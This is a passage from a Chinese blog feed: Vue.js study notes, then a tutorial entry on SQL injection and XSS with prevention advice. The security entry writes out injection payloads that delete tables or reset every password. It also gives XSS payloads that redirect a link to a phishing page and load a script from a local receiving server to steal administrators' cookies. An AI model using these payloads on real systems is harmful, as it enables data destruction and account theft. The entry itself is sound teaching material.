Vue(&#123;directives()&#123;指令名:回调对象&#125;)</code></pre><p>(2).全局指令</p><pre class="language-markup" data-language="markup"><code class="language-markup">Vue.directive(指令名,配置对象）或 Vue.directive(指令名,回调函数)</code></pre><p>二、配置对象中常用的3个回调;</p><ol><li>bind:指令与元素成功绑定时调用。</li><li>inserted:指令所在元素被插入页面时调用。</li><li>update:指令所在模板结构被重新解析时调用。</li></ol><p>三、备注:</p><ol><li>指令定义时不加v-，但使用时要加v-;</li><li>指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。</li></ol><h4 id="生命周期">生命周期</h4><p>1.又名:生命周期回调函数、生命周期函数、生命周期钩子。</p><p>2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。</p><p>3.生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的。</p><p>4.生命周期函数中的this指向是vm或组件实例对象。</p><p>常用的生命周期钩子:</p><ol><li>mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作</li><li>beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。</li></ol><p>关于销毁Vue实例</p><ol><li>销毁后借助Vue开发者工具看不到任何信息。</li><li>销毁后自定义事件会失效,但原生DOM事件依然有效。</li><li>一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了。</li></ol><h3 id="Vue组件化编程">Vue组件化编程</h3><h4 id="模块与组件、模块化与组件化">模块与组件、模块化与组件化</h4><h4 id="非单文件组件">非单文件组件</h4><p>Vue中使用组件的三大步骤</p><ol><li>定义组件(创建组件)</li><li>注册组件</li><li>使用组件(写组件标签)</li></ol><p>一、如何定义一个组件?</p><p>使用Vue.extend(options)创建，其中options和new Vue(options)时传入的那个options几乎一样，但也有点区别;区别如下:</p><ol><li>el不要写，为什么?——最终所有的组件都要经过一个vm的管理，由vm中的el决定服务哪个容器。</li><li>data必须写成函数，为什么?——避免组件被复用时，数据存在引用关系。</li></ol><p>备注:使用template可以配置组件结构。</p><p>二、如何注册组件?</p><ol><li>局部注册:靠new Vue的时候传入components选项</li><li>全局注册:靠Vue.component('组件名’,组件)</li></ol><p>三、编写组件标签: &lt; school&gt;&lt;/ school&gt;</p><h5 id="几个注意点">几个注意点</h5><p>1.关于组件名</p><p>一个单词组成:</p><p>第一种写法(首字母小写): school第二种写法(首字母大写):</p><p>School多个单词组成:</p><p>第一种写法(kebab-case命名): my-school</p><p>第二种写法(CamelCase命名):MySchool（需要Vue脚手架支持)备注:</p><p>(1).组件名尽可能回避HTML中已有的元素名称，例如: h2、H2都不行。</p><p>(2).可以使用name配置项指定组件在开发者工具中呈现的名字。</p><p>2.关于组件标签:</p><p>第一种写法: &lt; school&gt;&lt;/ school&gt;</p><p>第二种写法:&lt; school/&gt;</p><p>备注:不用使用脚手架时,&lt; school/&gt;会导致后续组件不能渲染。</p><p>3.一个简写方式</p><p>const school = Vue.extend(options）可简写为: const school = options</p><h5 id="关于VueComponent">关于VueComponent</h5><ol><li><p>school组件本质是一个名为VueComponent的构造函数，且不是程序员定义的，是Vue. extend生成的。</p></li><li><p>我们只需要写&lt; school/&gt;或&lt; school&gt;&lt; /school&gt;，Vue解析时会帮我们创建school组件的实例对象即Vue帮我们执行的: new VueComponent(options)。</p></li><li><p>特别注意:每次调用Vue.extend，返回的都是一个全新的VueComponent! !!!</p></li><li><p>关于this指向;<br>(1).组件配置中:<br>data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是【VueComponent实例对象】.</p><p>(2) .new Vue()配置中;<br>data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是【Vue实例对象】。</p></li><li><p>VueComponent的实例对象，以后简称vc（也可称之为:组件实例对象）。<br>Vue的实例对象，以后简称vm。</p></li></ol><ul><li>一个重要的内置关系:VueComponent.prototype.<em>proto</em>_ === Vue.prototype</li><li>为什么要有这个关系:让组件实例对象（vc）可以访问到Vue原型上的属性、方法。</li></ul><h4 id="单文件组件">单文件组件</h4><h4 id="关于不同版本的Vue">关于不同版本的Vue</h4><p>1.vue.js 与vure.runtime.xxx.js的区别:</p><p>(1).vue.js是完整版的Vue,包含:核心功能+模板解析器。</p><p>(2) .vue.runtime.xxx.js是运行版的Vue，只包含:核心功能;没有模板解析器。</p><p>2.因为vue.runtime.xxx.js没有模板解析器，所以不能使用template配置项，需要使用render函数接收到的createElement函数去指定具体内容。</p><h4 id="使用Vue脚手架">使用Vue脚手架</h4><h4 id="ref属性">ref属性</h4><p>1.被用来给元素或子组件注册引用信息(id的替代者)</p><p>2.应用在htm1标签上获取的是真实DOM元素，应用在组件标签上是组件实例对象(vc)</p><p>3.使用方式:打标识:&lt; h1 ref=“xxx”&gt;…&lt; /h1&gt;或&lt; School ref=“xxx”&gt;&lt; /School&gt;获取: <a href="http://this.$refs.xxx">this.$refs.xxx</a></p><h4 id="配置项props">配置项props</h4><p>功能:让组件接收外部传过来的数据</p><p>(1).传递数据:<br>&lt; Demo name=“xxx” /&gt;</p><p>(2).接收数据:</p><p>第一种方式（只接收):props: [ &quot;name ’ ]</p><p>第二种方式（限制类型）:props:{name:String}</p><p>第三种方式（限制类型、限制必要性、指定默认值):props:{name:{type:String,1/类型required:true,1/必要性deflault:'老王’//默认值}</p><p><strong>备注</strong>: props是只读的，Vue底层会监测你对props的修改，如果进行了修改，就会发出警告,若业务需求确实需要修改，那么请复制props的内容到data中一份，然后去修改data中的数据。</p><h4 id="mixin（混入）">mixin（混入）</h4><p>功能:可以把多个组件共用的配置提取成一个混入对象使用方式:</p><p>第一步定义混合,例如:{data()i…},methods:{…}}</p><p>第二步使用混入，例如:</p><p>(1).全局混入:Vue.mixin(xxx)</p><p>(2).局部混入:mixins: [ &quot;xxx ']</p><h4 id="插件">插件</h4><p>功能:用于增强Vue</p><p>本质:包含install方法的一个对象，install的第一个参数是Vue，第二个以后的参数是插件使用者传递的数据。</p><p>定义插件:</p><p>对象.install = function (Vue,options) {</p><ol><li><p>添加全局过滤器Vue.filter(…)</p></li><li><p>添加全局指令Vue.directive( … .)</p></li><li><p>配置全局混入(合)Vue.mixin(…)</p></li><li><p>添加实例方法</p><p>Vue.prototype.$myMethod = function () {…}</p><p>Vue.prototype. $myProperty = xxXX</p></li></ol><p>使用插件:Vue.use()</p><h4 id="总结TodoList案例">总结TodoList案例</h4><ol><li><p>组件化编码流程:</p><p>(1 ).拆分静态组件:组件要按照功能点拆分，命名不要与html元素冲突。</p><p>(2).实现动态组件:考虑好数据的存放位置，数据是一个组件在用，还是一些组件在用:1).一个组件在用:放在组件自身即可。2).一些组件在用:放在他们共同的父组件上(状态提升)。</p><p>(3).实现交互:从绑定事件开始。</p></li><li><p>props适用于:</p><p>(1).父组件==&gt;子组件通信</p><p>(2).子组件==&gt;父组件通信（要求父先给子一个函数)</p></li><li><p>使用v-model时要切记: v-model绑定的值不能是props传过来的值，因为props是不可以修改的!</p></li><li><p>props传过来的若是对象类型的值，修改对象中的属性时Vue不会报错，但不推荐这样做。</p></li></ol><h4 id="浏览器本地存储（webStorage）">浏览器本地存储（webStorage）</h4><ol><li><p>存储内容大小一般支持5MB左右(不同浏览器可能还不一样)</p></li><li><p>浏览器端通过Window.sessionStorage和Window.localStorage属性来实现本地存储机制。</p></li><li><p>相关API:</p><p>1.xxxxxStorage.setItem( 'key ’ , 'value ’ );<br>该方法接受一个键和值作为参数，会把键值对添加到存储中，如果键名存在，则更新其对应的</p><p>2.xxxxxStorage.getItem( 'person ’ );<br>该方法接受一个键名作为参数，返回键名对应的值。</p><p>3.xxxXxStorage.removeItem( ’ key ’ );<br>该方法接受一个键名作为参数，并把该键名从存储中删除。</p><p>4.xxxxxStorage.clear()<br>该方法会清空存储中的所有数据。</p></li><li><p>备注:<br>1.SessionStorage存储的内容会随着浏览器窗口关闭而消失。</p><p>2.LocalStorage存储的内容，需要手动清除才会消失。</p><p>3.xxxxxStorage.getItem(xxx)如果xxx对应的value获取不到，那么getltem的返回值是null。</p><p>4.]SON.parse(nul’)的结果依然是null。</p></li></ol><h4 id="全局事件总线（GlobalEventBus）">全局事件总线（GlobalEventBus）</h4><ol><li><p>一种组件间通信的方式，适用于任意组件间通信。</p></li><li><p>安装全局事件总线：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">new</span> <span class="token class-name">Vue</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span><span class="token operator">...</span><span class="token operator">...</span><span class="token function">beforeCreate</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token class-name">Vue</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>$bus <span class="token operator">=</span> <span class="token keyword">this</span> <span class="token comment">//安装全局事件总线，$bus就是当前应用的vm</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span>    <span class="token operator">...</span><span class="token operator">...</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span> </code></pre></li><li><p>使用事件总线：</p><ol><li><p>接收数据：A组件想接收数据，则在A组件中给$bus绑定自定义事件，事件的回调留在A组件自身。</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token function">methods</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token function">demo</span><span class="token punctuation">(</span><span class="token parameter">data</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token operator">...</span><span class="token operator">...</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token operator">...</span><span class="token operator">...</span><span class="token function">mounted</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>$bus<span class="token punctuation">.</span><span class="token function">$on</span><span class="token punctuation">(</span><span class="token string">'xxxx'</span><span class="token punctuation">,</span><span class="token keyword">this</span><span class="token punctuation">.</span>demo<span class="token punctuation">)</span><span class="token punctuation">&#125;</span></code></pre></li><li><p>提供数据：<code>this.$bus.$emit('xxxx',数据)</code></p></li></ol></li><li><p>最好在beforeDestroy钩子中，用$off去解绑当前组件所用到的事件。</p></li></ol><h4 id="消息订阅与发布（pubsub）">消息订阅与发布（pubsub）</h4><ol><li><p>一种组件间通信的方式，适用于<span style="color:red">任意组件间通信</span>。</p></li><li><p>使用步骤：</p><ol><li><p>安装pubsub：<code>npm i pubsub-js</code></p></li><li><p>引入: <code>import pubsub from 'pubsub-js'</code></p></li><li><p>接收数据：A组件想接收数据，则在A组件中订阅消息，订阅的<span style="color:red">回调留在A组件自身。</span></p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token function">methods</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token function">demo</span><span class="token punctuation">(</span><span class="token parameter">data</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token operator">...</span><span class="token operator">...</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token operator">...</span><span class="token operator">...</span><span class="token function">mounted</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>pid <span class="token operator">=</span> pubsub<span class="token punctuation">.</span><span class="token function">subscribe</span><span class="token punctuation">(</span><span class="token string">'xxx'</span><span class="token punctuation">,</span><span class="token keyword">this</span><span class="token punctuation">.</span>demo<span class="token punctuation">)</span> <span class="token comment">//订阅消息</span><span class="token punctuation">&#125;</span></code></pre></li><li><p>提供数据：<code>pubsub.publish('xxx',数据)</code></p></li><li><p>最好在beforeDestroy钩子中，用<code>PubSub.unsubscribe(pid)</code>去<span style="color:red">取消订阅。</span></p></li></ol></li></ol><h4 id="nextTick">nextTick</h4><ol><li>语法：<code>this.$nextTick(回调函数)</code></li><li>作用：在下一次 DOM 更新结束后执行其指定的回调。</li><li>什么时候用：当改变数据后，要基于更新后的新DOM进行某些操作时，要在nextTick所指定的回调函数中执行。</li></ol><h4 id="Vue封装的过度与动画">Vue封装的过度与动画</h4><ol><li><p>作用：在插入、更新或移除 DOM元素时，在合适的时候给元素添加样式类名。</p></li><li><p>写法：</p><ol><li><p>准备好样式：</p><ul><li>元素进入的样式：<ol><li>v-enter：进入的起点</li><li>v-enter-active：进入过程中</li><li>v-enter-to：进入的终点</li></ol></li><li>元素离开的样式：<ol><li>v-leave：离开的起点</li><li>v-leave-active：离开过程中</li><li>v-leave-to：离开的终点</li></ol></li></ul></li><li><p>使用<code>&lt;transition&gt;</code>包裹要过度的元素，并配置name属性：</p><pre class="language-vue" data-language="vue"><code class="language-vue">&lt;transition name&#x3D;&quot;hello&quot;&gt;&lt;h1 v-show&#x3D;&quot;isShow&quot;&gt;你好啊！&lt;&#x2F;h1&gt;&lt;&#x2F;transition&gt;</code></pre></li><li><p>备注：若有多个元素需要过度，则需要使用：<code>&lt;transition-group&gt;</code>，且每个元素都要指定<code>key</code>值。</p></li></ol></li></ol><h4 id="vue脚手架配置代理">vue脚手架配置代理</h4><h5 id="方法一">方法一</h5><p>​在vue.config.js中添加如下配置：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">devServer<span class="token operator">:</span><span class="token punctuation">&#123;</span>  proxy<span class="token operator">:</span><span class="token string">"http://localhost:5000"</span><span class="token punctuation">&#125;</span></code></pre><p>说明：</p><ol><li>优点：配置简单，请求资源时直接发给前端（8080）即可。</li><li>缺点：不能配置多个代理，不能灵活的控制请求是否走代理。</li><li>工作方式：若按照上述配置代理，当请求了前端不存在的资源时，那么该请求会转发给服务器 （优先匹配前端资源）</li></ol><h5 id="方法二">方法二</h5><p>​编写vue.config.js配置具体代理规则：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">module<span class="token punctuation">.</span>exports <span class="token operator">=</span> <span class="token punctuation">&#123;</span>devServer<span class="token operator">:</span> <span class="token punctuation">&#123;</span>      proxy<span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token string">'/api1'</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span><span class="token comment">// 匹配所有以 '/api1'开头的请求路径</span>        target<span class="token operator">:</span> <span class="token string">'http://localhost:5000'</span><span class="token punctuation">,</span><span class="token comment">// 代理目标的基础路径</span>        changeOrigin<span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span>        pathRewrite<span class="token operator">:</span> <span class="token punctuation">&#123;</span><span class="token string">'^/api1'</span><span class="token operator">:</span> <span class="token string">''</span><span class="token punctuation">&#125;</span>      <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>      <span class="token string">'/api2'</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span><span class="token comment">// 匹配所有以 '/api2'开头的请求路径</span>        target<span class="token operator">:</span> <span class="token string">'http://localhost:5001'</span><span class="token punctuation">,</span><span class="token comment">// 代理目标的基础路径</span>        changeOrigin<span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span>        pathRewrite<span class="token operator">:</span> <span class="token punctuation">&#123;</span><span class="token string">'^/api2'</span><span class="token operator">:</span> <span class="token string">''</span><span class="token punctuation">&#125;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token comment">/*   changeOrigin设置为true时，服务器收到的请求头中的host为：localhost:5000   changeOrigin设置为false时，服务器收到的请求头中的host为：localhost:8080   changeOrigin默认值为true*/</span></code></pre><p>说明：</p><ol><li><p>优点：可以配置多个代理，且可以灵活的控制请求是否走代理。</p></li><li><p>缺点：配置略微繁琐，请求资源时必须加前缀。</p></li><li><p>可以配置多个代理，且可以灵活的控制请求是否走代理。</p></li><li><p>缺点：配置略微繁琐，请求资源时必须加前缀。</p></li></ol><h4 id="插槽">插槽</h4><ol><li><p>作用：让父组件可以向子组件指定位置插入html结构，也是一种组件间通信的方式，适用于 <strong style="color:orange">父组件 ===&gt; 子组件</strong> 。</p></li><li><p>分类：默认插槽、具名插槽、作用域插槽</p></li><li><p>使用方式：</p><ol><li><p>默认插槽：</p><pre class="language-vue" data-language="vue"><code class="language-vue">父组件中：        &lt;Category&gt;           &lt;div&gt;html结构1&lt;&#x2F;div&gt;        &lt;&#x2F;Category&gt;子组件中：        &lt;template&gt;            &lt;div&gt;               &lt;!-- 定义插槽 --&gt;               &lt;slot&gt;插槽默认内容...&lt;&#x2F;slot&gt;            &lt;&#x2F;div&gt;        &lt;&#x2F;template&gt;</code></pre></li><li><p>具名插槽：</p><pre class="language-vue" data-language="vue"><code class="language-vue">父组件中：        &lt;Category&gt;            &lt;template slot&#x3D;&quot;center&quot;&gt;              &lt;div&gt;html结构1&lt;&#x2F;div&gt;            &lt;&#x2F;template&gt;            &lt;template v-slot:footer&gt;               &lt;div&gt;html结构2&lt;&#x2F;div&gt;            &lt;&#x2F;template&gt;        &lt;&#x2F;Category&gt;子组件中：        &lt;template&gt;            &lt;div&gt;               &lt;!-- 定义插槽 --&gt;               &lt;slot name&#x3D;&quot;center&quot;&gt;插槽默认内容...&lt;&#x2F;slot&gt;               &lt;slot name&#x3D;&quot;footer&quot;&gt;插槽默认内容...&lt;&#x2F;slot&gt;            &lt;&#x2F;div&gt;        &lt;&#x2F;template&gt;</code></pre></li><li><p>作用域插槽：</p><ol><li><p>理]解：数据在组件的自身，但根据数据生成的结构需要组件的使用者来决定。（games数据在Category组件中，但使用数据所遍历出来的结构由App组件决定）</p></li><li><p>具体编码：</p><pre class="language-vue" data-language="vue"><code class="language-vue">父组件中：&lt;Category&gt;&lt;template scope&#x3D;&quot;scopeData&quot;&gt;&lt;!-- 生成的是ul列表 --&gt;&lt;ul&gt;&lt;li v-for&#x3D;&quot;g in scopeData.games&quot; :key&#x3D;&quot;g&quot;&gt;&#123;&#123;g&#125;&#125;&lt;&#x2F;li&gt;&lt;&#x2F;ul&gt;&lt;&#x2F;template&gt;&lt;&#x2F;Category&gt;&lt;Category&gt;&lt;template slot-scope&#x3D;&quot;scopeData&quot;&gt;&lt;!-- 生成的是h4标题 --&gt;&lt;h4 v-for&#x3D;&quot;g in scopeData.games&quot; :key&#x3D;&quot;g&quot;&gt;&#123;&#123;g&#125;&#125;&lt;&#x2F;h4&gt;&lt;&#x2F;template&gt;&lt;&#x2F;Category&gt;子组件中：        &lt;template&gt;            &lt;div&gt;                &lt;slot :games&#x3D;&quot;games&quot;&gt;&lt;&#x2F;slot&gt;            &lt;&#x2F;div&gt;        &lt;&#x2F;template&gt;        &lt;script&gt;            export default &#123;                name:&#39;Category&#39;,                props:[&#39;title&#39;],                &#x2F;&#x2F;数据在子组件自身                data() &#123;                    return &#123;                        games:[&#39;红色警戒&#39;,&#39;穿越火线&#39;,&#39;劲舞团&#39;,&#39;超级玛丽&#39;]                    &#125;                &#125;,            &#125;        &lt;&#x2F;script&gt;</code></pre></li></ol></li></ol></li></ol>]]></content>
    
    
    <summary type="html">Vue的基本介绍~</summary>
    
    
    
    <category term="前端" scheme="https://blog.alexation.cn/categories/%E5%89%8D%E7%AB%AF/"/>
    
    
    <category term="JavaScript" scheme="https://blog.alexation.cn/tags/JavaScript/"/>
    
    <category term="Vue" scheme="https://blog.alexation.cn/tags/Vue/"/>
    
  </entry>
  
  <entry>
    <title>网络安全中的SQL注入以及XSS介绍</title>
    <link href="https://blog.alexation.cn/security/permeate/"/>
    <id>https://blog.alexation.cn/security/permeate/</id>
    <published>2021-09-18T11:05:30.000Z</published>
    <updated>2024-03-29T13:41:34.661Z</updated>
    
    <content type="html"><![CDATA[<h1 style="text-align:center;font-family:FZZhiYi-M12S;font-weight:700;">网络安全</h1><h4 id="SQL简单介绍">SQL简单介绍</h4><ul><li>SQL 指结构化查询语言，全称是 Structured Query Language。</li><li>SQL 让您可以访问和处理数据库，包括数据插入、查询、更新和删除。</li><li>SQL 在1986年成为 ANSI（American National Standards Institute 美国国家标准化组织）的一项标准，在 1987 年成为国际标准化组织（ISO）标准。</li></ul><h4 id="SQL注入流程：">SQL注入流程：</h4><ol><li>sql注入的原理以及sqllite数据库</li><li>sqlite的安装以及基本语句</li><li>结合靶场理解sqlite的注入流程</li></ol><h4 id="SQL注入简介">SQL注入简介</h4><p>SQL注入是网站存在最多也是最简单的漏洞，主要原因是程序对用户输入的字符串没有进行过滤或处理不严谨。至今SQL注入仍然是首要的难以修复的安全漏洞。</p><h4 id="SQL注入的原理">SQL注入的原理</h4><p>SQL 注入的原理主要有以下 4 点：</p><h5 id="1）恶意拼接查询">1）恶意拼接查询</h5><p>我们知道，SQL 语句可以查询、插入、更新和删除数据，且使用分号来分隔不同的命令。例如：</p><p><code>SELECT * FROM users WHERE user_id = $user_id</code></p><p>其中，user_id 是传入的参数，如果传入的参数值为“1234; DELETE FROM users”，那么最终的查询语句会变为：</p><p><code>SELECT * FROM users WHERE user_id = 1234; DELETE FROM users</code></p><p>如果以上语句执行，则会删除 users 表中的所有数据。</p><h5 id="2）利用注释执行非法命令。">2）利用注释执行非法命令。</h5><p>SQL 语句中可以插入注释。例如：</p><p><code>SELECT COUNT(*) AS 'num' FROM game_score WHERE game_id=24411 AND version=$version</code></p><p>如果 version 包含了恶意的字符串<code>'-1' OR 3 AND SLEEP(500)--</code>，那么最终查询语句会变为：</p><p><code>SELECT COUNT(*) AS 'num' FROM game_score WHERE game_id=24411 AND version='-1' OR 3 AND SLEEP(500)--</code></p><p>以上恶意查询只是想耗尽系统资源，SLEEP(500) 将导致 SQL 语句一直运行。如果其中添加了修改、删除数据的恶意指令，那么将会造成更大的破坏。</p><h5 id="3）传入非法参数">3）传入非法参数</h5><p>SQL 语句中传入的字符串参数是用单引号引起来的，如果字符串本身包含单引号而没有被处理，那么可能会篡改原本 SQL 语句的作用。 例如：</p><p><code>SELECT * FROM user_name WHERE user_name = $user_name</code></p><p>如果 user_name 传入参数值为 G’chen，那么最终的查询语句会变为：</p><p><code>SELECT * FROM user_name WHERE user_name ='G'chen'</code></p><p>一般情况下，以上语句会执行出错，这样的语句风险比较小。虽然没有语法错误，但可能会恶意产生 SQL 语句，并且以一种你不期望的方式运行。</p><h5 id="4）添加额外条件">4）添加额外条件</h5><p>在 SQL 语句中添加一些额外条件，以此来改变执行行为。条件一般为真值表达式。例如：</p><p><code>UPDATE users SET userpass='$userpass' WHERE user_id=$user_id;</code></p><p>如果 user_id 被传入恶意的字符串“1234 OR TRUE”，那么最终的 SQL 语句会变为：</p><p><code>UPDATE users SET userpass= '123456' WHERE user_id=1234 OR TRUE;</code></p><p>这将更改所有用户的密码。</p><h4 id="避免SQL注入">避免SQL注入</h4><p>对于 SQL 注入，我们可以采取适当的预防措施来保护数据安全。下面是避免 SQL 注入的一些方法。</p><h5 id="1-过滤输入内容，校验字符串">1. 过滤输入内容，校验字符串</h5><p>过滤输入内容就是在数据提交到数据库之前，就把用户输入中的不合法字符剔除掉。可以使用编程语言提供的处理函数或自己的处理函数来进行过滤，还可以使用正则表达式匹配安全的字符串。</p><p>如果值属于特定的类型或有具体的格式，那么在拼接 SQL 语句之前就要进行校验，验证其有效性。比如对于某个传入的值，如果可以确定是整型，则要判断它是否为整型，在浏览器端（客户端）和服务器端都需要进行验证。</p><h5 id="2-参数化查询">2. 参数化查询</h5><p>参数化查询目前被视作是预防 SQL 注入攻击最有效的方法。参数化查询是指在设计与数据库连接并访问数据时，在需要填入数值或数据的地方，使用参数（Parameter）来给值。</p><p>MySQL 的参数格式是以“?”字符加上参数名称而成，如下所示：</p><p><code>UPDATE myTable SET c1 = ?c1, c2 = ?c2, c3 = ?c3 WHERE c4 = ?c4</code></p><p>在使用参数化查询的情况下，数据库服务器不会将参数的内容视为 SQL 语句的一部分来进行处理，而是在数据库完成 SQL 语句的编译之后，才套用参数运行。因此就算参数中含有破坏性的指令，也不会被数据库所运行。</p><h5 id="3-安全测试、安全审计">3. 安全测试、安全审计</h5><p>除了开发规范，还需要合适的工具来确保代码的安全。我们应该在开发过程中应对代码进行审查，在测试环节使用工具进行扫描，上线后定期扫描安全漏洞。通过多个环节的检查，一般是可以避免 SQL 注入的。</p><p>有些人认为存储过程可以避免 SQL 注入，存储过程在传统行业里用得比较多，对于权限的控制是有一定用处的，但如果存储过程用到了动态查询，拼接 SQL，一样会存在安全隐患。</p><h4 id="方法">方法</h4><h5 id="1-避免使用动态SQL">1. 避免使用动态SQL</h5><p>避免将用户的输入数据直接放入 SQL 语句中，最好使用准备好的语句和参数化查询，这样更安全。</p><h5 id="2-不要将敏感数据保留在纯文本中">2. 不要将敏感数据保留在纯文本中</h5><p>加密存储在数据库中的私有/机密数据，这样可以提供了另一级保护，以防攻击者成功地排出敏感数据。</p><h5 id="3-限制数据库权限和特权">3. 限制数据库权限和特权</h5><p>将数据库用户的功能设置为最低要求；这将限制攻击者在设法获取访问权限时可以执行的操作。</p><h5 id="4-避免直接向用户显示数据库错误">4. 避免直接向用户显示数据库错误</h5><p>攻击者可以使用这些错误消息来获取有关数据库的信息。</p><p>一些编程框架对于写出更安全的代码也有一定的帮助，因为它提供了一些处理字符串的函数和使用查询参数的方法。但同样，你仍然可以编写出不安全的 SQL 语句。所以归根到底，我们需要有良好的编码规范，并能充分利用参数化查询、字符串处理和参数校验等多种办法来保护数据库和程序的安全。</p><div align="center"><h3>XSS</h3></div><h4 id="XSS的简单介绍">XSS的简单介绍</h4><ul><li>跨站脚本攻击(Cross Site Scripting)，为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户目的。</li><li>XSS危害：<ul><li>流量劫持</li><li>获取用户cookie信息，盗取账号</li><li>篡改、删除页面信息（钓鱼）</li><li>配合CSRF攻击，实施进一步攻击</li></ul></li><li>XSS分类<ul><li>反射型XSS：反射型XSS也被称为非持久性XSS，当用户访问一个带有XSS代码的HTML请求时，服务器端接收数据后处理，然后把带有XSS的数据发送到浏览器，浏览器解析这段带有XSS代码的数据后，就造成XSS漏洞，这个过程就像一次反射，所以叫反射型XSS。</li><li>存储型XSS：存储型XSS又被称为持久性XSS，存储型XSS是最危险的一种跨站脚本漏洞，当攻击者提交一段 XSS代码后，被服务端接收并存储，当攻击者或用户再次访问某个页面时，这段XSS代码被程序读出来响应给浏览器，造成XSS跨站攻击，这是存储型XSS。</li><li>DOM型：不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。</li></ul></li></ul><h4 id="一、钓鱼指向">一、钓鱼指向</h4><p>在用户名框中输入<code>&lt;script&gt;alert(2)&lt;/script&gt;</code>(闭合input标签)，界面弹窗，证明该系统存在XSS注入。上一步验证得出，该页面存在XSS漏洞。接下来针对该漏洞进行修改链接属性实现跳转到钓鱼界面</p><p>在username=后面加上<code>&lt;script&gt;document.getElementsByTagName(&quot;body&quot;)[0].onload=function changeLink()&#123;document.getElementById(&quot;myId&quot;).href='http://127.0.0.1:8082/wjmm.php';&#125;&lt;/script&gt;</code>（修改忘记密码a标签的href，使其指向钓鱼网站）收到cookie后，手动给浏览器添加对应cookie，实现伪造管理员（用户）登录</p><h4 id="二、盗取Cookie">二、盗取Cookie</h4><p>将js代码<code>&lt;/textarea&gt;'&quot;&gt;&lt;script src=http://127.0.0.1:8081/xss/cGMiSw?1555397544&gt;&lt;/script&gt;</code> 发表在文章管理系统的留言板上（该地址指向存放接收信息的服务器上的js路径）</p><p>当后台管理员审核留言（或者其他用户查看到该留言）时，触发页面执行js脚本，将浏览器的cookie发送到接收服务器</p><h4 id="XSS防范">XSS防范</h4><ul><li>XSS的威力主要是取决于JavaScript能够实现的程度，XSS跨站脚本的形成原因是对输入输出没有严格过滤，导致在页面上可以执行JavaScript等客户端代码，所以只要将敏感字符过滤，就可以修复XSS跨站漏洞。</li><li>修复和防范方法：<ul><li>三种类型的XSS漏洞都可以通过过滤或编码进行修复。</li><li>反射型XSS和存储型XSS可以在服务端对用户输入输出的内容过滤和编码操作，将关键字进行过滤处理，关键符号进行编码处理，如将所有on事件,script等关键字进行过滤，将所有&lt;,&gt;,”,’,=等特殊符号进行实体化编码或url编码便可以修复。</li><li>DOM型XSS如有在服务端进行交互，也可参考上述的方法进行修复，如未和服务端进行交互，可在客户端使用JavaScript等客户端脚本语言进行编码和过滤处理。</li></ul></li></ul>]]></content>
    
    
    <summary type="html">渗透测试/信息安全/网络安全</summary>
    
    
    
    <category term="网络安全" scheme="https://blog.alexation.cn/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="SQL" scheme="https://blog.alexation.cn/tags/SQL/"/>
    
    <category term="XSS" scheme="https://blog.alexation.cn/tags/XSS/"/>
    
  </entry>
  
</feed>
